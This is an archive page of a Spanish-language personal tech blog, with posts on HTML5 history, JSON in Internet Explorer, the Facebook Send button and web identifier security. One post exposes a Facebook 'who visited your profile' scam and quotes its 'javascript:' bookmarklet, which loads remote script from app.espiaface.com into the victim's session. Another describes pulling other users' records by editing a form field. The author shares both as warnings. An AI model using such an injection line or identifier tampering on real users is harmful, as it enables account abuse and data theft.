Archivos de Categoría: Sin Categoria

Write in C – Cover Let It Be [DEP Dennis Ritchie]

El día de ayer en Facebook me voy enterando que ha muerto Dennis Ritchie, quien es un importante cientifico de computadoras, creador del lenguaje de programación C y el sistema operativo UNIX.

Hoy platicando con una de mis maestras en el Tecnológico y comentandole lo anterior, me mostró un video de esta canción, que como saben ya se han hecho muchas parodias de Java, Windows, etc; pero no había tenído la oportunidad de ver uno de C.

La canción se llama “Write in C” y es un cover de The Beatles – Let It Be, habla acerca de lenguajes de programación anteriores a C, mostrando sus ventajas y desventajas.

Larga vida a Dennis Ritchie.

Necesitas Adobe Flash Player para ver este video.

Música: Diazepunk

Regresandole un poco la escencia personal al blog, esta vez es para hacerles una recomendación musical, claro si eres de las personas que gustan del punk en español. Este grupo peruano se llama diazepam dIAZEPUNK y se formó en 1996.

Está formado por:

  • Carlos García (tocayo! xD) (voz)
  • Takeshi Nakankari (guitarra y coro)
  • Joaquín Cúneo (guitarra y coro)
  • Javier Landa (bajo y coro)
  • Mauricio Llona (batería)

A este grupo los vengo escuchando desde el 2008 aproximadamente, con la canción “Nid” y de ahí seguí escuchando más canciones, hoy mis favoritas son:

  • Mal Ejemplo
  • Si no te olvidas de mi
  • Mañana
  • Algo en que creer.
  • Viernes
  • 3D

Y para finalizar, pueden escucharlos desde YouTube.

Necesitas Adobe Flash Player para ver este video.

Espero les guste y sus comentarios sobre el grupo son bien recibidos.

Fuente: Diazepunk – Wikipedia
Imágen extraida de Google Images.

Has llegado a este artículo buscando:

Redes sociales y la adopción de los nuevos estándares

Mucho se ha dicho y comentado de la nueva interfaz de Facebook, cambios que hacen muy parecido a Google+ y Twitter, algunos dicen que hasta tiene la escencia de 4Chan. Pero desde hace tiempo se ha venido comentando mucho acerca de la adopción de los nuevos estándares web en Facebook, como el reproductor de videos en HTML5. Es algo muy técnico, pero creo yo que es importante resaltarlo, ya que ahora con la nueva interfaz me he podido percatar de que en las URLs ya no aparece el HashBang del que les había comentado antes, empezé a analizar un poco, viendo el codigo fuente me encontre con el doctype de HTML5, posteriormente con el Firebug empezé a ver las consultas AJAX, y efectivamente las actualizaciones se hacían sin recargar toda la pagina, pero cambiaba completamente la URL en la barra de direcciones.

Recorde que hace tiempo ya había visto un tutorial para el manejo de URLs en HTML5, esto era cambiar la dirección que estaba en la barra de dirección ejecutando una sola función en Javascript.

Como sabemos, en Javascript el objeto principal es el window, con el cual podemos controlar todo lo que es la ventana de navegación, historial, DOM, etc. Ya habíamos hablado también del Hash, el cual es toda esa cadena de caracteres que tenemos en la URL despues del #. Este Hash esta en el subobjeto history. Es decir:

  1. window.history

Este objeto contiene una serie de funciones que nos ayudan a manejar el historial de navegación, sin embargo en el nuevo estandar HTML5, tenemos las funciones:

Leer más »

Has llegado a este artículo buscando:

Seguridad en la Web: Identificadores.

Error de programaciónDesarrollar aplicaciones web, implica el uso de bases de datos, y con ello usar identificadores en los regístros para extraer información específica. Sin embargo, al igual que el desarrollo de algoritmos, hay diversas formas de ubicar el identificador en una aplicación para extraer la información solicitada. Ustedes dirían que esto es de primaria para un desarrollador, pero por más o menos experiencia que se tenga, nunca esta de más resaltar este tipo de detalles. Escribo esta entrada por que hace poco tiempo, me topé con este error en un sistema que úso ampliamente, y que otros colegas ya se habían percatado del error, sin embargo me reservo el derecho de mencionar en donde lo encontré. A continuación mencionaré tres formas de almacenar y extraer el identificador en una aplicación web durante la navegación.

Enviar el identificador por campo de texto en formulario.

Un metodo un tanto inseguro pero adecuado para manejar información que no requiere de mucha seguridad, esta forma consiste en utilizar un campo oculto de texto en un formulario para especificar que identificador tiene la información de la base de datos. Este es el tipo de error que me encontré en el sistema antes mencionado, el campo de texto no estaba oculto, solo desconectado. Gracias Firebug se puede modificar el valor de este campo de texto y hacer la petición de información, modificandolo podía extraer información de otros usuarios, ya que ese identificador era el del usuario. Esta forma la había visto aplicado en paneles de administración, que despues de haber pasado una capa de seguridad (como un inicio de sesión) podia ser utilizado. A pesar de ser utilizado en un panel de administración, los filtros eran aplicados adecuadamente en el lenguaje de programación del lado del servidor y no había gran problema apesar de que se podía modificar.

Utilizando cookies para compartir información.

Gracias a los cookies, podemos guardar pequeños fragmentos de información en el navegador y que son leídos únicamente por el dominio que fue creado, sin embargo, a mi criterio esta forma tiene seguridad média debido a que no queda excenta de modificaciones por parte del usuario cliente. Las cookies las habia visto utilizadas para identificar a un usuario y no presisamente en la base de datos, como por ejemplo podemos guardar una cookie que diga cuantas veces el usuario a visitado cierta pagina, entre otras cosas. También la he visto aplicada para la identificación de usuarios, sin embargo no recomiendo hacer esto sin tener ciertos filtros de seguridad que permitan saber si el usuario efectivamente es el, ya que se presta muchas veces al robo de cookies. Podemos hacer un registro a la base de datos para guardar cierta información temporalmente y que sea modificado unicamente por el lenguaje de programación del lado del servidor y guardar el identificador del registro en una cookie, sin embargo esto sería como emular la función de las sesiones, que en un momento comentaré.

Utilizar sesiones, mas seguro y cómodo.

Utilizar sesiones es mas o menos como lo habia mencionado en las cookies, pero estas son implementadas por el lenguaje de programación. Una sesion es.. valla una sesión que envía una cookie al usuario con un identificador y que nosotros podemos manejar información como variables que son almacenadas temporalmente en el sistema y accedidos por el lenguaje de programación. Esto es mas trabajo del lenguaje de programación y no tenemos que aplicar filtros de seguridad para poder validar las sesiones. Este método es mas seguro y comodo de usar, ya que con solo un arreglo de una variable superglobal ( en el caso de PHP ) podemos acceder a la información, inicializando previamente la sesión. Podemos crearlas, sobreescribirlas y eliminarlas como si fueran variables comunes y si el identificador de la sesion es transferida a otra PC el lenguaje ya no la toma como válida. Estas variables no pueden ser visualizadas por el usuario, lo que las hace mas seguras.

Como vemos, aquí estan algunas formas de proteger la seguridad de su información y sus usuarios, tengan cuidado de donde extraen los identificadores, ya que si son modificables se puede prestar a acceder a información que muchas veces cierto usuario no debe de ver o inclusive modificarla.

Saludos y espero les haya ayudado este pequeño post.

Imágen vía: Nogc Ha Flickr

Verano Científico en Guadalajara, Jalisco.

Valla que este año ha sido intenso y más antes del verano y precisamente, el verano. Trabajando en las campañas políticas del estado, despues la escuela y culminando las dos para despues irme a Guadalajara, Jalisco a hacer verano científico, todo sin detenerse ni un momento. Pero vamos comentando algo respecto al verano científico.

Existe un programa que se llama Programa Interinstitucional para el Fortalecimiento de la Investigación y el Posgrado del Pacífico, mejor conocído como el Programa Delfín. Cada año sale una convocatoria para hacer un llamado a los universitarios que desean vivir la experiencia de trabajar con un investigador en algún proyecto de esta misma persona. Gracias a Liliana Zavala quien desde hace un año me estuvo convenciendo de entrar a este programa, me animé a meter solicitud y finalmente fuí seleccionado. Decidí irme a Guadalajara, pues es una ciudad que ya conozco y con la cual ya me he desenvuelto antes, así que entre a trabajar con el Dr. Emmanuel López Neri, quien es el encargado del Centro de Innovación y Desarrollo Tecnológico de la Universidad del Valle de México Campus Guadalajara Sur (CIDETEC-UVM).

Fue una muy buena experiencia haber convivido no solo con el investigador, si no con los compañeros que tambien hicieron su verano científico en el CIDETEC y alumnos de la misma Universidad que estan trabajando en otros proyectos. No todo fue trabajo, tambien fue diversión, una mesa de ping pong con sus ratos de competencia, risas de las bromas que hacian, fue una convivencia muy buena y conocí a muchas personas. Además, fue una excelente oportunidad para entablar relaciones profesionales y laborales que en el futuro pudieran ser la diferencia para tener un buen trabajo.

Definitivamente, si tengo la oportunidad de hacer otro verano científico, lo haría de nuevo. Hoy mi verano científico ha terminado ya que solo eran mes y medio de trabajo, sin embargo estaré al pendiente del proyecto en el cual estaba trabajando, para conocer su avance pero ahora a cargo de otros universitarios. Así que ya saben compañeros, si en su universidad hay este programa ¡entrenle!, pues apensar de que van a estar todo su verano, que en teoría deben de ser vacaciones y descanzo, al terminar no se arrepentiran.

Has llegado a este artículo buscando:

Hacer algo diferente: Desarrollar RIA’s y Aplicaciones Moviles.

Rompiendo un poco la temática despueés de los últimos posts publicados en este blog, con tanto javascript y redes sociales, aunque bueno esta entrada seguirá hablando sobre redes sociales, pero visto desde otro aspecto. Como saben, Faxterol es un emprendimiento personal, del cual tengo fé que crecerá y se desarrollara hasta convertirse en una empresa, pero vamos por partes. Ultimamente, me he sentido algo monotono, programando en la escuela y en mi casa con Java para hacer mis tareas de la escuela, y programando para web en el trabajo se ha vuelto el pan de cada día. Me motiva programar para web, me gusta programar en Java, pero ultimamente he querido hacer algo diferente. Desarrollar aplicaciones RIA’s y para Moviles, pero el trabajo y la escuela me tienen tan absorbido que no me he dedicado tiempo para hacerlo, inclusive tengo algunos proyectos personales pendientes que quiero sacar.

En los últimos meses, me he aventurado a hacer algúnas cositas en Adobe AIR con Javascript, pero la documentación no es muy rica o será que no la estoy buscando bien, así que esta semana, para aumentar el grado de dificultad, he querido hacer una aplicación en Adobe AIR pero que utilice el API de Facebook. Mi suerte fue nula, pues no pude hacer conexión con javascript, así que me puse a indagar un poco y descubrí Flash Builder. Este programa que viene dentro de la Adobe Creative Suite Web Premium, es un programa basado en Eclipse en el cual puedes desarrollar aplicaciones RIA’s para web y escritorio utilizando Flash. Valla, yo lo reconozco como “el flash de los programadores/desarrolladores”, pues Flash Professional es para hacer animaciones. Con Flash Builder fue satifactoria la conexión con Facebook Platform, sin embargo no conozco muy bien los componentes, lo identifiqué mucho con Netbeans, que si bien este es para Java. Con respecto a las aplicaciones moviles, con Adobe AIR también puedo hacer aplicaciones para moviles, sin embargo solo se ejecutaría en Android ya que iOS no tiene soporte para Adobe AIR (valla, ni para Flash). El año pasado tomé dos talleres, uno para desarrollar aplicaciones para iOS y otro para Android, pero no me fué suficiente el tiempo para captar todo lo que hicimos. Como lo dije anteriormente, hay que ir paso por paso, y creo que el primer paso son las RIA´s y despues las Aplicaciones Moviles.

Si alguien tiene algún manual de Flash Builder, se lo agradecería mucho compartirlo o comentar donde lo puedo encontrar.

Imagen vía: todocelular.es

Has llegado a este artículo buscando:

Ahora puedes compartir: Send Button de Facebook

Cuando vi el lanzamiento del boton Like de Facebook en el F8, supe que ese dia el mundo cambiaría, y valla que Facebook ha cambiado el estilo de vida y la forma en que se viven las redes sociales en la red. Acabo de leer recientemente el blog de desarrolladores de Facebook que han lanzado un nuevo boton, que si bien es parecido en la implementacion que se hace con el boton de Like, pero ahora un poco más privado.

Este boton se inserta en los contenidos que se quieren compartir, para despues desplegar una ventana seleccionando a los usuarios que quieres compartirlo, el enlace del contenido que se comparte y un mensaje del usuario. Puedes combinarlo y la forma de insertar este boton es con el lenguaje de marcación XFBML, con el mismo tag del fb:like, solo añadiendo un el atributo send con valor true, o con su tag fb:send.

Es decir:

  1. <div id="fb-root"></div>
  2.  
  3. <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
  4.  
  5. <fb:like href="example.com" show_faces="true" width="450" send="true">
  6.  
  7. </fb:like>
  1. <div id="fb-root"></div>
  2.  
  3. <script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
  4.  
  5. <fb:send href="example.com"></fb:send>

También puedes solicitar los datos con el OpenGraph API.

Referencias:

Developer Blog Facebook
Documentación del Plugin Social Send Button
– Facebook Developers

Has llegado a este artículo buscando:

Una gran falsedad: Saber quien visitó tu perfil de Facebook

Gracias a mi experiencia como desarrollador web, he podido darme cuenta a tiempo de algunas falsedades que circulan en el Facebook, como por ejemplo, saber quien visitó tu perfíl. Si bien, hay formas de acceder a la información del usuario y hacer algunas acciones como publicar en su muro, pero únicamente por medio de su API. Sin embargo, gente con demasiado tiempo libre con ganas de molestar se ha aprovechado de la inocencia de los usuarios para hacer este tipo de dagas.

Hoy, en mi perfil de facebook me he topado con invitación a un evento que no existe pero que cita a un sitio llamado espiaface.com. Este sitio te proporciona un “manual” para instalar una aplicación y saber quién visitó tu perfil, pero la única forma de hacer eso es:

  • Que Facebook desarrolle un módulo que haga dicha funcionalidad
  • Que Facebook permita al menos insertar una imagen o un código que pueda llamar a una aplicación que utilice el API de Facebook y nos notifique.

Pero como ninguna de los dos existe, pues no hay forma de saber quien visitó tu perfil. Pero si tu eres un usuario que ya cayó en dicha falsedad, no te preocupes ya que “el programita” funciona así:.

Al pedirte que entres al facebook y pongas el siguiente código:

  1. javascript:(a=(b=document).createElement('script')).src='//app.espiaface.com/app.js?'+Math.random(),b.body.appendChild(a);void(0)

Estas ejecutando código Javascript dentro de Facebook, este código es el siguiente: (es muy extenso, así que puedes verlo). Este código te simula una muestra de quien visitó tu perfil y cuantas veces, claro estos parámetros son falsos y toma usuarios al azar. Después te crea un evento para saber quien visitó tu perfil, así mismo te dice que la aplicación está iniciando, cosa que no es cierto. En pocas palabras no se instala ninguna aplicación, solo es un programita que se ejecuta una sola vez por ti.

Sé que no le entiendes al codigo de la linea anterior, pero gracias a una herramienta que se llama JSBeautifier, que te permite comprimir, descomprimir, encriptar y desencriptar código fuente Javascript, entonces el siguiente codigo lo desencriptamos y tenemos el siguiente resultado.

Entonces estoy infectado por un virus o algún ovni controla mi computadora por escritorio remoto?

Bueno tampoco no exageremos, pero descuida, tu computadora no se infectó por algún virus y ningun ovni o entidad extraterrestre controla tu computadora, simplemente fue la ejecución durante un momento de un programa que sin darte cuenta permitiste que hiciera lo que hiso.

Solo hay una cosa a tomar a consideración: no hay ninguna aplicación que te diga exactamente quien visitó tu perfil (y si la hay, escriba un comentario donde la puedo encontrar) y no vuelvas a escribir nada que empiece con “javascript:” en tu barra de dirección del navegador. Estas personas conocen muy bien el funcionamiento de Facebook con Javascript

Espero haberte ayudado. Ahh cierto se me olvidaba, todo lo que hizo el programita tienes que eliminarlo manualmente. Tanto el evento como el mensaje en el muro.

Has llegado a este artículo buscando:

Internet Explorer y la coma de la muerte en Javascript

Ok, tál vez exageré mucho con ese atributo de la coma de la muerte, aunque para mi he de decir que si fue una pesadilla. Bueno les voy a relatar un poco. Desde el momento que decidí aprender Javascript, siempre quize aprender primeramente Javascript nativo, osea sin frameworks y después con ayuda de estos últimos. Mi experiencia con el nativo fue muy grato, aunque a la vez un poco frustrante, ya que cada rato tenía que estar escribiendo el famoso document.getElementById. Posteriormente y despues de tantas pruebas y jueguitos con javascript nativo, decidí que era hora de empezar a escribir codigo Javascript con frameworks, del cual estoy trabajando con jQuery, ya que hay mucha documentación, ejemplos y plugins que puedes usar con este framework.

Este framework, en algunas de sus funciones recibe como parámetro un objeto, o mejor dicho, una notación de objeto en javascript, valla un objeto JSON (Javascript Object Notation), en el cual es muy similiar a los arrays de PHP, en el cual pones el identificador, seguido de dos puntos ( : ) y despues su valor, y al ultimo una coma para separarlo de otra declaración de un identificador. Por ejemplo:

  1. {
  2. "Identificador" : "Valor",
  3. "otroid" : 123,
  4. "comoFuncion" : function(){ /* contenido */}
  5. }

Por algo lo llaman el hermano menor de Java, es muy parecido a la declaración de arreglos en Java, con la diferencia que sus identificadores son enteros con la posicion en que son declarados. Pero vallamos al hoyo donde estaba el clavo. Como les comenté, despues del valor se escribe una coma para separarlos, pero si en la ultima declaración le dejan una coma al final es donde empieza el apocalisis, ya que el codigo se ejecuta correctamente en firefox y los navegadores estandar, pero Internet Explorer no marca error, pero tampoco ejecuta el codigo. Ya hablando con codigo, quedaría así:

  1. {
  2. "Identificador" : "Valor",
  3. "otroid" : 123,
  4. "comoFuncion" : function(){ /* contenido */},
  5. }

Esto pude probarlo ahora en el taller que estuve impartiendo en la semana académica del tec, ya que ni en Internet Explorer 7 corría el código. ¿Error de Microsoft o de Mozilla?. No lo sé, pero para eso existen los estandares, aunque pienso que en Firefox y demás navegadores estandares no debería ejecutarse el código pero sí mostrar el error, para tener una buena costumbre como programadores. ¿Ustedes que piensan/opinan?

Referencia:

JSON – Wikipedia, la enciclopedia libre

Imagen vía: Maestros del Web

Has llegado a este artículo buscando:

Taller Javascript/AJAX en el ITTepic

Del 5 al 8 de Abril se realizará la Semana Academica del Instituto Tecnológico de Tepic, un evento en el cual todas las carreras suspenden clases (ujuss!!!) para ofrecer a los alumnos talleres y conferencias de diversos temas para cada carrera (más ujusss!!!!!). Anteriormente, cada carrera tenía su propia semana, ahora la administración de la institución ha tomado la iniciativa de que todas las carreras tengan su semana en una sola. En la carrera de Ingeniería en Sistemas Computacionales (como algunos ya saben que estudio esa carrera), se realizaba la Feria de Programación y Cultura, así cada carrera tenía su semana con su propio nombre.

Pues bien, este año, por motivos personales no podré asistir a las conferencias que son en la tarde, pero tomé la iniciativa de dar un taller. Este taller será de Javascript y AJAX. Será impartido todos los días que dure la semana academica con un horario de 9:00 a 13:00 hrs. Podrán participar alumnos y ex-alumnos de la institución, aún no se sabe si tambien abrirán para publico en general o lo dejarán solo para personas de la institución (alumnos, docentes, administrativos, etc). Tiene un costo de 100 pesos (baratisimo!) y podrán compartir la experiencia de aprender cosas nuevas.

Un saludo y espero verlos por ahí.

Has llegado a este artículo buscando: